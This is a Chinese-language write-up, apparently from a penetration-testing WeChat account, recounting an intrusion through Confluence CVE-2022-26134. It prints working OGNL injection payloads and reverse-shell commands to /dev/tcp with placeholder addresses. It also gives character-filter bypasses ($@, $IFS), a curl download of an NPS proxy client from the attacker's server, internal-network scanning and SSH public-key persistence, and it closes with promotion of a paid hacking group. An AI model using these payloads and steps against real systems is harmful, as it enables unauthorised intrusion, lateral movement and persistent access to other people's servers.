实战 | 记一次RCE内网之旅
2023-3-13 20:1:20 Author: 渗透安全团队(查看原文) 阅读量:31 收藏

现在只对常读和星标的公众号才展示大图推送,建议大家能把渗透安全团队设为星标”,否则可能就看不到了啦

起因:Nuclei爆红,Atlassian Confluence的命令执行漏洞,编号:CVE-2022-26134

1.思路

命令执行-反弹shell失败-反弹shell成功-代理nps落地-内网之旅

2.命令执行

Nuclei已经给出了攻击载荷,而且把RCE之后的结果输出了

payload解码看一下:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

payload里,java.lang.Runtime类调用exec方法,执行whoami命令,在自定义的X-Cmd-Response响应头中输出命令执行的结果:

自定义响应头,尝试执行其它命令:

3.反弹shell(失败)

网上有不少反弹shell的攻击载荷

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")}/

用网上公开的攻击载荷尝试反弹shell,发现nc监听一直没反应……

尝试寻找Confluence的其它版本反弹shell

成功反弹

怀疑是版本的问题导致无法反弹shell,可老表告诉我说是特殊字符的问题,于是找了一下java下命令执行的一些细节

java执行系统命令的代码:

  1. Runtime.getRuntime().exec()

  2. new ProcessBuilder().start()

第二种执行系统命令的实现代码已经尝试过了,换第一种Runtime反弹shell,也就是Nuclei已经给出的攻击载荷

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

这里需要注意的是,在使用Runtime执行命令的时候,会限制传入的参数,只能传入一个List对象或者数组,否则会导致命令执行不成功,反弹shell自然也会失败。

4.反弹shell(成功)

此时可以bypass让命令成功执行

[email protected]

[email protected]能够获取对应的变量,比如:

/bin/bash -c  '[email protected]|bash' xx echo id

这种方法可以成功执行id命令,[email protected]获取 echo id然后通过管道符执行命令id,使用这种方式尝试反弹目标shell

攻击载荷:

/bin/bash -c [email protected]|bash 0 echo 命令

于是[email protected]反弹shell的攻击载荷如下

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('/bin/bash -c [email protected]|bash 0 echo bash -i >&/dev/tcp/ip/6666 0>&1').getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

尝试反弹shell:

反弹shell成功

2.$*bypass

与上边同理

3.$IFSbypass

反弹shell命令的空格在bash中可以用$IFS替代

/bin/bash -c bash -i >&/dev/tcp/ip/8888 0>&1

使用$IFS替代空格:

/bin/bash -c bash$IFS-i$IFS>&/dev/tcp/ip/8888$IFS0>&1

尝试进行shell反弹

成功反弹shell

5.代理NPS落地

shell成功反弹,就要考虑进内网扫描一波了,一是上传扫描工具直接扫描,二是将流量代理出来,本地扫描一波

代理工具很多,各有优缺点,使用NPS进行内网穿透,NPC不需要配置,只需要文件落地即可

个人VPS有NPC端,目标主机有curl命令

此时个人VPS开启python服务,目标主机用curl -O命令下载并保存npc端到本地

开启python服务

python3版本:python3 -m http.server 8888

目标主机进行下载:curl -O http://xxxx:8888/file

解压并运行,服务端提前配置好

运行./npc

6.内网

可以看到客户端已经"上线"

Proxifier进行socks5代理即可

配置firefox代理进入内网、k/fscan扫起来:


再尝试echo >>追加进去公钥

X-shell配置好之后

追加公钥成功

本地设置好socks5代理

成功代理登陆:

钟声敲响了日落
柏油路跃过山坡
一直通向北方的 使我们想象
长大后也未曾经过……


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247500683&idx=2&sn=61fb67875460ee2a1468b20f1cba9837&chksm=c1763e24f601b732732669cd80dbe54cab96a13d1152c29df2f924f19965d1d705037377fd03#rd
如有侵权请联系:admin#unsafe.sh